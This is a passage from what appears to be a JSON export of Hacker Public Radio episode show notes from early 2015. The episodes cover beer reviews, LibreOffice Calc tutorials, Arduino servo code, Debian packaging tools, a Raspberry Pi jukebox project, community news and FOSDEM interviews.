                                                            \nCranberry Ginger Shandy - [From Wikipedia, Shandy is beer mixed with a soft drink, carbonated lemonade, ginger beer, ginger ale, or apple juice or orange juice.] Pours cloudy yellow amber, moderate head that disapears w/o lacing. Leinenkugel managed to resist the urge to color it red. Not as syrupy as Shock Top\\'s Cranberry Belgian Ale, but unlike many fruit adjunct brews, neither is the flavor so subtle you have to go searching for it. I like to use ginger in cooking, and I can also detect the taste of that sweet spice in this weiss beer as well. 4.2% ABV \nMalts: Pale and Wheat Hops: Cluster Other: Natural cranberry and ginger flavors\n

                                                            \n

                                                            \nSnowdrift Vanilla Porter - Pours dark brown with just a litle carmel color head that disipates imediately. Vanilla bean aroma. Vanilla flavor is perhaps more subtle than Breckenridge's Vanilla Porter, but there will be know doubt you are enjoying a beer flavored by vanilla and roasted malts, with a hint of chocolate to keep it from being too sweet. 6.0 ABV \nMalts: Two- and six- row Pale Malt, Caramel 60, Carapils, Special B, Dark Chocolate and Roasted Barley Hops: Cluster & Willamette Other: Real vanilla\n

                                                            \n

                                                            \nBONUS ROUND -Leinenkugels Orange Shandy - Wheat beer, likely exactly the same one that's in the Cranberry Ginger Shandy, but in this case the tart/sweet orange juice taste dosn't completely obscure the flavor of the beer. I like them both, but I think I would grab the orange shandy on a hot day. 4.2% ABV \nMalts: Pale and Wheat Hops: Cluster Other: Natural orange flavor\n

                                                            \n","hostid":131,"series":14,"explicit":1,"license":"CC-BY-SA","tags":"5150 Shades of Beer,beer,drinking beer","version":0,"downloads":0,"valid":1}, {"id":1685,"date":"2015-01-16","title":"45 - LibreOffice Calc - Styles and Templates Introduced","duration":905,"summary":"How the concepts of Styles and Templates can be useful in Spreadsheets","notes":"

                                                            \nWhen we were looking at Writer we saw that Styles and Templates are key concepts to using any word processor. They are not quite as central in spreadsheet use, and one can be a proficient user without resort to them, but they do give you control over the appearance of your spreadsheets, and can give the sheets you create uniform appearance. We discussed these ideas in great detail in our Writer tutorials, so I am going to hope that some of that knowledge has carried over here. Still, lets get to some basic concepts:\n

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, Styles, Templates","version":0,"downloads":0,"valid":1}, {"id":1686,"date":"2015-01-19","title":"Interview with Joel Gibbard of OpenHand","duration":1619,"summary":"An interview with Joel Gibbard founder of the prize winning Openhand project","notes":"

                                                            \nThis show is an interview with Joel Gibbard founder of the OpenHand project. \nThe interview was recorded on my phone which unfortunately created a few glitches. \nI've cleaned the audio up as best I can. Although frustrating, the occasional glitches have not caused anything to be missed that cannot be inferred from the context of the recording. \n

                                                            \n\"photo\n

                                                            \nAfter creating an artificial hand for his degree project Joel Gibbard wanted to continue the work on the hand with the goal of producing a workable prosthetic hand for $1000, so he launched the OpenHand project with a succesful IndieGoGo fundraiser. In this interview we learn more about the Dextrus hand, the project's \nprogress to date, and hear of Joel's vision of affordable prosthetics for amputees worldwide.\n

                                                            \n

                                                            \nFor a short 4 minute introduction to the project see Joel's video at \n

                                                            \n\n\n\n

                                                            \nThe openhand designs and more information are available at \n

                                                            \n\n\n","hostid":240,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Open Source, Robotics, 3D Printing","version":0,"downloads":0,"valid":1}, {"id":1687,"date":"2015-01-20","title":"Podcast recommendations","duration":1290,"summary":"Thaj goes through his podcast list and shares the shows that he finds to be the most interesting. ","notes":"

                                                            Linux / Floss Podcasts

                                                            \n\n\n\n

                                                            Pop Culture General Podcasts

                                                            \n\n
                                                              \n
                                                            • Podculture: Local folks who talk about nerdy things. (https://www.podculture.com/feed/)\n
                                                            • \n
                                                            • The Mindrobbers: This show is run by a writer from my gernal area named Scott Carelli. I orginially heard of him through Podculture. I've followed his various podcasts for many years and this is the most recent incarnation. Although sometimes I don't always agree with his opinions I do always look forward to hearing them. (https://www.mindrobber.net/feed/)\n
                                                            • \n
                                                            • Trekcast: My first undying love in this world is Star Trek. (https://trekcast.podbean.com/feed/)\n
                                                            • \n
                                                            • The Doctor's Companion: Another podcast by Scott Carelli and gang. Good American centreic view of Doctor Who, another of my favorite shows. (https://www.thedoctorscompanion.us/?feed=rss2)\n
                                                            • \n
                                                            • The Babylon Podcast: This show isn;t in production anymore, but if you are a fan of Babylon 5 (which I am) this is a great show that breaks down each episode, and interviews many of the stars from the show. (https://www.babylonpodcast.com/category/shows/feed/)\n
                                                            • \n
                                                            • Fear the Boot: A great tabletop role playing game podcast (https://www.feartheboot.com/ftb/?feed=rss2)\n
                                                            • \n
                                                            • Hiyaa Martial Arts Podcast: Must listening for martial artists (especially of the chinese martial arts persuasion). There are very few good martial arts podcasts out there that are not style specific. This fits the bill. One of the host practices the same style of kung fu that I do (although through a different branch of the family tree) and it's nice to see that perspective on other arts. (https://feeds.feedburner.com/HiyaaMartialArtsPodcast)\n
                                                            • \n
                                                            • This American Life: NPR.. used to be an addict. (https://feeds.thisamericanlife.org/talpodcast)\n
                                                            • \n
                                                            • Unfilter: Jupiter Broadcasting's version of No Agenda. I used to listen to No Agenda but I find that it has become too long, and they tend to go off the deep end on some of their annalysis in my opinion. I find Unfilter to be a little more grounded, and it's an hour and a half once a week. I'll still listen to No agenda from time to time, but not regularly since I found this. (https://www.jupiterbroadcasting.com/feeds/unfilterogg.xml)\n
                                                            • \n
                                                            \n\n

                                                            Ham Radio Podcasts

                                                            \n\n\n\n

                                                            Science Podcast

                                                            \n\n\n\n

                                                            Buddhism

                                                            \n\n

                                                            \nI listen to a lot of random budhism podcasts but this is the must listen to.\n

                                                            \n\n
                                                              \n
                                                            • Buddhist Geeks: Modern take on culture, science and society's impact on Budhism. Tends to be academic, but I enjoy it. (https://feeds.feedburner.com/BuddhistGeeksPodcast)\n
                                                            • \n
                                                            • Vedic Mythology and Mantras Podcast: While not Buddhist specifically I have always loved Vedic mythology and Indian music. In my mind the relationship between the Vedic traditions and Buddhist are similar to Judaism to Christianity. This podcast gies a short mythological story and a chant that goes along with it. It's no longer being produced but it has lots of episodes to listen to. (https://www.puja.net/wordpress/category/mythologypodcast/)\n
                                                            • \n
                                                            \n\n

                                                            TWiT Shows

                                                            \n\n","hostid":270,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts","version":0,"downloads":0,"valid":1}, {"id":1688,"date":"2015-01-21","title":"Some useful tools when compiling software","duration":766,"summary":"Useful tools I found when compiling software, and creating a debian package.","notes":"

                                                            introduction

                                                            \n\n

                                                            \nHi this is Rho`n and welcome to my first submission to Hacker Public Radio. I have been working on an application using the Python programming language with the Enlightenment Foundation Libraries (EFL) libraries for the GUI interface. After acquiring a new laptop and installing a fresh copy of Ubuntu on it, I decided to set up the build environment I needed to be able to work on my project. I have been building from source the EFL libraries along with the Python-EFL wrapper libraries. For the last couple machines on which I have built the software, I would use the standard configure, make, and make install procedure. This time around I decided to create a debian package to use for installing the libraries. It had been a few years since I had created a .deb, so I googled for some tutorials, and found mention of the checkinstall program. After reading a couple blog posts about it I decided to try it out. checkinstall is run instead of \"make install\" , and will create a .deb file, and then install the newly created package.\n

                                                            \n\n

                                                            cut and tr commands

                                                            \n\n

                                                            \nTo help speed up the configure process, I had previously created a file from my other builds that is a grep of my history for all the various \"apt get install\" commands of the libraries the EFL software needs to compile. Since my current operating system was a freshly installed distribution of Ubuntu, I needed to install the build-essential package first. After looking through my install file, and I decided to create a single apt-get install line with all the packages listed, instead of running each of the installs seperately. I knew I could grep the file, and then pass that to awk or sed, but my skill with either isn't that great. I did a little searching to see what other tools were out there and found the cut command and the tr command. Cut lets you print part of a line. You can extract set a field delimeter with the -d option and then list a range of fields to be printed with the -f option. The tr command can replace a character. I used this to replace the new line character that was printed by the cut command to generate a single line of packages which I piped to a file. A quick edit of the file to add \"sudo apt-get install\" at the beginning, add execute permissions to the file, and now I have a nice, easy way to install all the needed libraries.\n

                                                            \n\n\n\n

                                                            apt-file and checkinstall

                                                            \n\n

                                                            \nAt least that was the idea. After installing the libraries, and running configure, I still received errors that libraries were missing. The machines from which my list of libraries was generated, had all been used for various development purposes, so some needed libraries were already installed on them, and so their installation had passed out of my history. Besides echoing to standard out the file configure can't find, it also creates a log file: config.log. Between the two it is relatively easy to figure out what library is needed. Often the libraries needed included their name in the .deb which has to be installed, and finding them is easy with an apt-cache search and grep of the library name. The hardest ones to find were often the X11 based references. In this case, I needed the scrnsaver.h header file. After googling, I found a reference to the needed package (libxss-dev) on Stack Exchange. The answer also showed how to use the apt-file command to determine in which package a file is included. I wish I had run into this before, there a few times where it took a number of searches on the internet to figure out which package I needed to install, and \"apt-file find\" would have saved time and frustration. A very handy tool for anyone developing on a debian based distribution. As it turns out, that was the last dependency that needed resolved. After a successful configure, and successful compile using the make command, I was ready to try out checkinstall. Running sudo checkinstall, brings up a series of questions about your package, helping you fill out the needed .deb meta-data. I filled out my name and email, name for the package, short description of the package, and let everything else go to the suggested defaults. After, that hit enter and checkinstall will create a debian package and install it for you. If you run \"apt-cache search <name of package>\" you will see it listed, and \"apt-cache show <name of package>\" will give you the details you created for the package. There are warnings on the Ubuntu wiki not to use this method for packages to be included in an archive or in a ppa. It does work great for a local install, and would use it to install on machines on my local network.\n

                                                            \n\n\n\n

                                                            conclusion

                                                            \n\n

                                                            \nAfter a short side trip into development setup, I'm back writing my application on my new laptop. While I am a big fan of binary packages, Debian being the first GNU/Linux distribution I ever used, sometimes you need to dive in and compile software from source. For me running configure, make, make install has been the easiest way to do this, and these days it usually isn't too difficult to get even moderately complex applications and libraries to build. The most tedious part can be resolving all the dependencies. Now, with apt-file in my tool belt, it will be even faster and easier. I will also be using checkinstall for future compiles. I do like being able to use package management tools to install, and un-install software.\n

                                                            \n

                                                            \nI hope others find these tools useful. I have posted links in the show notes to the pages about cut, tr, apt-file and checkinstall that led me to these tools. If you've made it this far, thanks for listening to my first post to HPR. As Ken Fallon points out, it's not an HPR episode until you have uploaded it to the server. So let those episode ideas flow from your brain, into your favorite recording device, and up to the HPR server. Let's keep HPR active, vibrant, and a part of our lives for years to come. \n

                                                            ","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cli, deb, compile","version":0,"downloads":0,"valid":1}, {"id":1689,"date":"2015-01-22","title":"Linux Voice magazine at OggCamp","duration":676,"summary":"Another interview from OggCamp with the guys from Linux Voice ","notes":"

                                                            \nCorenominal and Beni talking to the guys of the newly founded Linux Voice magazine. It's a British Linux publication that's less than a year old.\n

                                                            \n

                                                            \nWe talked to them about why you would found a magazine these days, why their magazine is still relevant in the digital age and why kids won't beat them at mario cart.\n

                                                            \n\"Linux\n

                                                            \nYou find their magazine here:\n

                                                            \n

                                                            \nhttps://www.linuxvoice.com/\n

                                                            \n

                                                            \nand their superb Linux postcast by the same name here:\n

                                                            \n

                                                            \nhttps://www.linuxvoice.com/category/podcasts/\n

                                                            \n","hostid":288,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"Linux Voice, oggcamp, interview","version":0,"downloads":0,"valid":1}, {"id":1690,"date":"2015-01-23","title":"Arduino 101 Breadboard","duration":1700,"summary":"learn how to use a breadboard.","notes":"

                                                            \nIn this two-part series, Klaatu introduces you to the Arduino. First, learn about the breadboard and how to make electricity course through it in order to power your very own simple circuit.\n

                                                            \n\n

                                                            \nTo follow along with what Klaatu is talking about, refer to these two\ngraphics:

                                                            \n\n\n\n

                                                            \nAnd here are diagrams of the simple circuits that Klaatu constructs.\n

                                                            \n\n

                                                            \n\"image:\n

                                                            \n

                                                            \n\"image:\n

                                                            \n\n","hostid":78,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"Arduino","version":0,"downloads":0,"valid":1}, {"id":1691,"date":"2015-01-26","title":"Arduino 101 Arduino IO","duration":2583,"summary":"In this episode, learn how to read and write input and output from the Arduino.","notes":"

                                                            In this two-part series, Klaatu introduces you to the Arduino. First, learn about the breadboard and how to make electricity course through it in order to power your very own simple circuit.

                                                            \n

                                                            To follow along with what Klaatu is talking about, refer to these two graphics:

                                                            \n \n

                                                            And here are diagrams of the simple circuits that Klaatu constructs.

                                                            \"image:

                                                            The simple code to reset the servo:

                                                            \n#include <Servo.h>\nServo myservo;\n\nint servoPosition;\n\nvoid setup()\n{\n  myservo.attach(13);\n  myservo.write(90);\n}\n\nvoid loop() {}\n

                                                            And the code that responds to input:

                                                            \n#include <Servo.h>\nServo myservo; \n\nint servoPosition;\nint servoMax = 180;\nint servoMin = 0;\n\nint value;\nint valMax = 600;\nint valMin = 50;\n\n\nvoid setup()\n{\n  myservo.attach(13);\n}\n\nvoid loop() \n{\n  value = analogRead(0);\n  servoPosition = map(value, valMin, valMax, servoMax, servoMin);\n  servoPosition = constrain(servoPosition, servoMin, servoMax);\n  myservo.write(servoPosition);\n}\n

                                                            And here is a bonus diagramme that you can try to create, using a light sensor, servo, and resistor.

                                                            \"image:\n","hostid":78,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"Arduino,Arduino 101","version":0,"downloads":0,"valid":1}, {"id":1692,"date":"2015-01-27","title":"Boulevard Brewing Company \"Sample Twelve\"","duration":1190,"summary":"FiftyOneFifty explores nature and Kansas City brews while celebrating juke box heroes","notes":"

                                                            \nUnrelated tech stuff: \nRecently, Knightwise showed me a link to use a Raspberry Pi as a streaming music box, much like a Sonos player https://www.woutervanwijk.nl/pimusicbox/ . I looked at the enclosures people had come up with and saw transistor radios from the 40s and 50s which were true works of art, but don't provide a great selection of controls. It was then I remembered seeing a 1950's juke box wallbox control ( https://www.ebay.com/sch/i.html?_from=R40&_trksid=p2050601.m570.l1313.TR2.TRC1.A0.H0.Xjuke+box+wallbox&_nkw=juke+box+wallbox&_sacat=0 ) in a local \"antique\" shop. I'm never sure when addressing our European friends what parts of the American experience they are familiar with, but in the 40s to the 70s, in just about every American diner with a jukebox, at every booth there would be a remote console with a coin slot. Usually, you would have card tiles that could be rotated by a knob or by tabs, and each song would have a code made up of a letter and a number. Dropping in the required currency and making a selection would cause the song to be played on the jukebox (and sometimes on a set of stereo speakers in the wall unit). As you may see from the eBay link in the shownotes, wall boxes progressed from just a dozen titles in the 40s to far more complex systems, some with digital read out in the 80s. Most were marvels of late art deco design.\n

                                                            \n

                                                            \nMy parents were far to frugal to let me drop coins into one of these pioneering marvels of analog networking, but thanks to a couple modders who have tied their panels into a Raspberry Pi, I can give you a general overview of how these units communicated with the central jukebox via primitive serial protocols. First off, if you have the expectation of following in Phil Lavin's or Stephin Devlin's footsteps, be prepared to pay more for a wallbox certified to be ready to connect and work with the same brand's jukebox (while all wallboxes seemed to communicate by serial pulse, each company employed a different scheme). Wallboxes of all conditions seem to start around $50 on eBay, but can go into the thousands. As I said, all of the wallboxes are marvels of art deco design if they have no other purpose than to occupy your space and become a conversation piece. Right now on eBay, there is an example of a wallbox converted into a waitorless ordering system (this looks like it is from the 70s, only now do we have this functionallity with iPads at every table). In other words, where once was \"Stairway to Heaven\", now there was \"Steak and Eggs: $4.95\". The add on plaque covering the face of the unit identified the system as T.O.B.Y., for Totally Order By Yourself. I could find nothing on the tech on Google, but I really hope it was successful, because it truly would have been a master hack.\n

                                                            \n

                                                            \nFirst step. most wallboxes were powered from the jukebox, you can't just plug them into 120v alternating current, you will likely need a 25 or 30v adapter (research your model). If everything works, you should be able to drop your quarter, punch a letter number combo (which will stay down), then a motor will whir and you selected keys will punch back out. What happens in the background, the motor will cause an energized arm to sweep in a circle, making a circuit with electrodes in it's path. They keys selected determine how many pulses go down the output line, like a finger dialing a rotary phone.\n

                                                            \n

                                                            \nEach manufacturer used a different code. In the case of Steve Devlin's Rowe Ami, there would be an initial set of pulses for the number, a pause, then a more complex set for characters A-V (earlier wallboxes had 10 letters and 0-9 to create 100 selections, later boxes had as many as 200). Phil Lavin's Seeburg uses pulses corresponding to two base 20 digits, both protocols were discovered through trial and error. Each gentleman uses a different method to protect his Pi from overvolt. Devlin uses a 3.5v voltage regulator, which also makes the pulses appear more \"square\", Lavin uses an optical relay to electrically separate the Pi from Seeburg console entirely.\n

                                                            \n

                                                            \nBoth Lavin and Devlin use there wallboxes to control Sonos streaming players. My idea is more flexible, I'd like the Pi to be able to launch either streaming podcasts, or play the last ep of a selection of podcasts, or launch various home automation processes. I didn't think this talk warranted it's own podcast yet because it is clearly an unfinished idea, but I thought this application of old tech was too cool to wait until I was actually motivated to do something with it. If I get a wallbox, I might be inclined instead to connect each button to a momentary switch and wire each in turn to one of the Pi's 40 I/O pins for an even more flexible instruction set.\n

                                                            \n

                                                            \nhttps://wallbox.weebly.com/index.html\nhttps://phil.lavin.me.uk/2013/11/raspberry-pi-project-a-1960s-wallbox-interfaced-with-sonos/\n

                                                            \n

                                                            \nBoulevard brewing Company \"Sample Twelve\" \nhttps://www.boulevard.com K.C. Mo\n

                                                            \n

                                                            \nThis is a unique marketing campaign from my favorite K.C. brewer. The twelve pack contains four varieties of beer, two are established Boulevard offerings, and the other two are bottled with non gloss \"generic\" labels that appear to have been hand typed. In other words, we are to believe we have been sold two prototype beers for our approval.\n

                                                            \n

                                                            \n80 Acre \"Hoppy\" Wheat Beer (the quotes are mine). The graphics consist of an old Farmall tractor towing a pickup trailer carrying a gigantic hops bud. From this presentation, one would expect an oppressivly hoppy beer, fortunately for the hop timid this is a rather satisfying abulation that only registers 20 IBUs. I detect a distinct citrus taste, so I suspect Citra or related hops but Boulevard is keeping the exact specs closer to the vest than some other brewers. The brewers escription of the beer may be found here (link in the shownotes) https://www.boulevard.com/BoulevardBeers/80-acre-hoppy-wheat-beer/ Pours corn silk yellow with lots of head but not a lot of lacing. Damp wheat aroma.\n

                                                            \n

                                                            \nOatmeal Stout: This is the first of the \"generic\" label \"test\" beers. Pours opaque dark brown with a very small lite brown head that disappears. Milk chocolate aroma. Thin mouth feel, choclately after taste that lasts more than a flavor washing over your tongue (i.e., you drink it, then you taste the chocolaty/coffee like essence). For locally brewed Oatmeal Stouts, I'd give the nod to Free State in Lawrence KS, but I wouldn't turn down the brew from K.C. if they decide to produce it. As it is not yet an \"official\", they don't document this beer on the Boulevard web page.\n

                                                            \n

                                                            \nUnfiltered Wheat Beer: There is a graphic of a farmer gathering wheat bundles to build shocks, surrounded by hops vines. Pours the color of cloudy golden wheat straw, lots of persistent head that leaves little lacing. Slight biscuity aroma. Distinctly more citrusy than the 80 Acre. Not much malt and just a little hops bitterness. Despite the name, you can safely drink this beer to th bottom without winding up with a mouthful of particulates.\n

                                                            \n

                                                            \nMid Coast IPA: The last \"experimental\" beer. At 104 IBUs, this is where all the hops you expected from 80 Acre went. Pours wheat straw golden, thick white head that leaves little lacing, with a hoppy aroma. Even at 104 IBU, its has a slight sweet taste and doesn't seem to be one of those \"my hops can beat up your hops beers\". The label states: \"The hoppiest thing we have ever brewed. Pretty nervy for a bunch of midwesterners\". It's a great complement to the baked ham and spicey glaze I'm having for dinner (link in the show notes, even though I had to improvise somewhat).\nhttps://www.tasteofhome.com/recipes/apple-cider-glazed-ham\n

                                                            \n

                                                            \nBefore I leave you, I wanted to play the sounds of dusk from my new homesite. I can think of no more eloquent argument why living on the lake is better than living in town.\n

                                                            \n

                                                            \nNote: Recorded with 2.4Ghz Creative Labs GH0220B headset. I am not happy with the result.\n

                                                            ","hostid":131,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"5150 Shades of Beer,jukebox, beer, Kansas City, geese","version":0,"downloads":0,"valid":1}, {"id":1693,"date":"2015-01-28","title":"DD fun","duration":1412,"summary":"Having some Fun with the DD command.","notes":"

                                                            \nStoring info outside the file system with the DD command.\n

                                                            \n","hostid":295,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DD command,partition,sector","version":0,"downloads":0,"valid":1}, {"id":1694,"date":"2015-01-29","title":"My APOD downloader","duration":1320,"summary":"My simple Perl script to download the Astronomy Picture of the Day each day","notes":"

                                                            My APOD Downloader

                                                            \n

                                                            Astronomy Picture of the Day

                                                            \n

                                                            You have probably heard of the Astronomy Picture of the Day (APOD) site. It has existed since 1995, is provided by NASA and Michigan Technological University (MTU) and is created and managed by Robert Nemiroff and Jerry Bonnell. The FAQ on the site says \"The APOD archive contains the largest collection of annotated astronomical images on the internet\".

                                                            \n

                                                            The Downloader

                                                            \n

                                                            Being a KDE user I quite like a moderate amount of bling, and I particularly like to have a picture on my desktop. I like to rotate my wallpaper pictures every so often, so I want to have a collection of images. To this end I download the APOD on my server every day and make the images available through an NFS-mounted volume.

                                                            \n

                                                            In 2012 I wrote a Perl script to perform the download, using a fairly primitive HTML parsing method. This script has been improved over the intervening years and now uses the Perl module HTML::TreeBuilder which I believe is much better at parsing HTML.

                                                            \n

                                                            The version of the script I use myself also includes the Perl module Image::Magick which interfaces to the awesome ImageMagick image manipulation software suite. I use this to annotate the downloaded image with the title parsed from the HTML so I know what it is.

                                                            \n

                                                            The script I am presenting here is called collect_apod_simple and does not use ImageMagick. I chose to omit it because the installation of this suite and the related Perl module can be difficult. Also, I do not feel that the annotation always works as well as it could, and I have not yet found the time to correct this shortcoming.

                                                            \n

                                                            A version of the more advanced script (called collect_apod) is available in the same place as collect_apod_simple should you wish to give it a try. Both scripts are available on GitLab under the link https://gitlab.com/davmo/hprmisc.

                                                            \n

                                                            The Code

                                                            \n

                                                            The script itself is described in the full show notes, available by following this link.

                                                            \n

                                                            Links

                                                            \n \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"NASA,astronomy,picture,Perl","version":0,"downloads":0,"valid":1}, {"id":1695,"date":"2015-01-30","title":"46 - LibreOffice Calc - The Object Model and Using Templates","duration":1520,"summary":"Ubderstanding the Object Model and how Templates work. ","notes":"

                                                            \nAs I said in the last tutorial, Templates can be understood as a container for a number of settings, most particularly Styles. This follows the object model, which is a lot like those Russian dolls inside of each other. The File for your spreadsheet is an object, and it contains individual Sheets which are objects. Each Sheet contains Cells which are objects. And each Cell contains various Characters which are objects, which can be used to represent numbers, formulas, addresses, labels, etc. Objects exhibit two features we always want to keep in mind. First, objects have properties that are particular to the kind of object. The properties of a file might include who the author is, where the file resides on the system, any access restrictions (like making the file password-protected), and so on. \n

                                                            \n

                                                            \nThe properties of each sheet might include things like the name of the sheet, the orientation (landscape vs. portrait), headers and footers, etc. Then the properties of the cell might include the type of cell and how \nit is formatted (text, currency, general number, etc.). And finally the properties of the Character include the font family, font style, font size, and so on.\n

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, Objects, Templates","version":0,"downloads":0,"valid":1}, {"id":1696,"date":"2015-02-02","title":"HPR Community News for January 2015","duration":3651,"summary":"Live community recording from FOSDEM 2015.","notes":"

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Rho`n, \n daw, \n Cibola Jerry.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDateTitleHost
                                                            16742015-01-01New Year Show Part 1 of 8HPR Volunteers
                                                            16752015-01-02New Year Show Part 2 of 8HPR Volunteers
                                                            16762015-01-05HPR Community News for December 2014HPR Volunteers
                                                            16772015-01-06New Year Show Part 4 of 8HPR Volunteers
                                                            16782015-01-07New Year Show Part 5 of 8HPR Volunteers
                                                            16792015-01-08New Year Show Part 6 of 8HPR Volunteers
                                                            16802015-01-09New Year Show Part 7 of 8HPR Volunteers
                                                            16812015-01-12New Year Show Part 8 of 8HPR Volunteers
                                                            16822015-01-13Introduction to the Netizen Empowerment Federationdaw
                                                            16832015-01-14Theater of the Imagination: Part 06lostnbronx
                                                            16842015-01-155150 Shades of Beer Jacob Leinenkugels Winter Explorer PackFiftyOneFifty
                                                            16852015-01-1645 - LibreOffice Calc - Styles and Templates IntroducedAhuka
                                                            16862015-01-19Interview with Joel Gibbard of OpenHandSteve Bickle
                                                            16872015-01-20Podcast recommendationsThaj Sara
                                                            16882015-01-21Some useful tools when compiling softwareRho`n
                                                            16892015-01-22Linux Voice magazine at OggCampbeni
                                                            16902015-01-23Arduino 101 Breadboardklaatu
                                                            16912015-01-26Arduino 101 Arduino IOklaatu
                                                            16922015-01-27Boulevard Brewing Company \"Sample Twelve\"FiftyOneFifty
                                                            16932015-01-28DD funCibola Jerry
                                                            16942015-01-29My APOD downloaderDave Morriss
                                                            16952015-01-3046 - LibreOffice Calc - The Object Model and Using TemplatesAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 17 comments:

                                                            \n
                                                              \n
                                                            • hpr1693\n(2015-01-28) \"DD fun\"\nby Cibola Jerry.\n
                                                                \n
                                                              1. Dave on 2015-01-29:\"Great tutorial\"
                                                              2. \n
                                                              3. incandenza on 2015-01-29:\"My favorite so far\"
                                                              4. \n

                                                            • \n
                                                            • hpr1691\n(2015-01-26) \"Arduino 101 Arduino IO\"\nby klaatu.\n
                                                                \n
                                                              1. mcnalu on 2015-01-27:\"Arduislack\"
                                                              2. \n
                                                              3. archer72 on 2015-01-29:\"[no title]\"
                                                              4. \n

                                                            • \n
                                                            • hpr1690\n(2015-01-23) \"Arduino 101 Breadboard\"\nby klaatu.\n
                                                                \n
                                                              1. Mike Ray on 2015-01-22:\"3v3\"
                                                              2. \n
                                                              3. Tcuc on 2015-01-23:\"Nice, great quality :-) \"
                                                              4. \n

                                                            • \n
                                                            • hpr1683\n(2015-01-14) \"Theater of the Imagination: Part 06\"\nby lostnbronx.\n
                                                                \n
                                                              1. Epicanis on 2015-01-22:\"Timely information!\"
                                                              2. \n

                                                            • \n
                                                            • hpr1673\n(2014-12-31) \"How I use ZFS on Linux\"\nby Michal Cieraszynski.\n
                                                                \n
                                                              1. Klaatu on 2015-01-07:\"great episode!\"
                                                              2. \n

                                                            • \n
                                                            • hpr1672\n(2014-12-30) \"Systemd for Learner Drivers \"\nby Steve Smethurst.\n
                                                                \n
                                                              1. Steve Smethurst on 2015-01-04:\"Correction\"
                                                              2. \n
                                                              3. Alison Chaiken on 2015-01-04:\"Thanks for informative episode\"
                                                              4. \n

                                                            • \n
                                                            • hpr1667\n(2014-12-23) \"How to start a Blog\"\nby Rill.\n
                                                                \n
                                                              1. Rill on 2014-12-31:\"T for the tip.hanks\"
                                                              2. \n

                                                            • \n
                                                            • hpr1665\n(2014-12-19) \"44 - LibreOffice Calc - Working With Pivot Tables\"\nby Ahuka.\n
                                                                \n
                                                              1. Steve Bickle on 2015-01-18:\"What version of LibreOffice was the example created in?\"
                                                              2. \n
                                                              3. Steve Bickle on 2015-01-18:\"Last comment really belongs on ep 1655\"
                                                              4. \n
                                                              5. Kevin O'Brien on 2015-01-19:\"LibreOffice Version\"
                                                              6. \n

                                                            • \n
                                                            • hpr1660\n(2014-12-12) \"Trying out Slackware\"\nby beni.\n
                                                                \n
                                                              1. Klaatu on 2015-01-07:\"slacker\"
                                                              2. \n

                                                            • \n
                                                            • hpr1654\n(2014-12-04) \"Using AS numbers to identify where you are on the Internet\"\nby Ken Fallon.\n
                                                                \n
                                                              1. Klaatu on 2015-01-07:\"Very informative\"
                                                              2. \n

                                                            • \n
                                                            • hpr1643\n(2014-11-19) \"Unison Syncing Utility\"\nby FiftyOneFifty.\n
                                                                \n
                                                              1. Ken Fallon on 2015-01-06:\"Workaround to my unison issues\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1697,"date":"2015-02-03","title":"FOSDEM 2015 Friday Night and Saturday Morning 1 of 5","duration":3068,"summary":"Bradley M. Kuhn, Karen Sandler, Sriram Ramkrishna, Matthew Miller, Rich Bowen, Karanbir Singh","notes":"

                                                            FOSDEM 2015 Friday Night and Saturday Morning 1 of 5

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://fosdem.org/2015/\n

                                                            \n
                                                            \nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\n
                                                            \n\n

                                                            Software Freedom Conservancy

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://sfconservancy.org\n

                                                            \n
                                                            \nSoftware Freedom Conservancy is a not-for-profit organization that helps promote, improve, develop, and defend Free, Libre, and Open Source Software (FLOSS) projects. Conservancy provides a non-profit home and infrastructure for FLOSS projects. This allows FLOSS developers to focus on what they do best - writing and improving FLOSS for the general public - while Conservancy takes care of the projects' needs that do not relate directly to software development and documentation.\n
                                                            \n\n

                                                            Free as in Freedom

                                                            \n

                                                            \nWebsite: https://faif.us/\n

                                                            \n
                                                            \nFree as in Freedom is a bi-weekly oggcast, hosted and presented by\nBradley M. Kuhn and Karen Sandler.\nThe discussion includes legal, policy, and many other issues in the Free, Libre,\nand Open Source Software (FLOSS) world. Occasionally, guests join\nBradley and Karen to discuss various topics regarding FLOSS.\n
                                                            \n\n

                                                            \n\"***An\n

                                                            \n

                                                            Listen to the interview with Bradley M. Kuhn

                                                            \n\n\n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Karen Sandler

                                                            \n\n\n\n

                                                            GNOME

                                                            \n\n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Sriram Ramkrishna

                                                            \n\n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://gnome.org\n

                                                            \n
                                                            \n

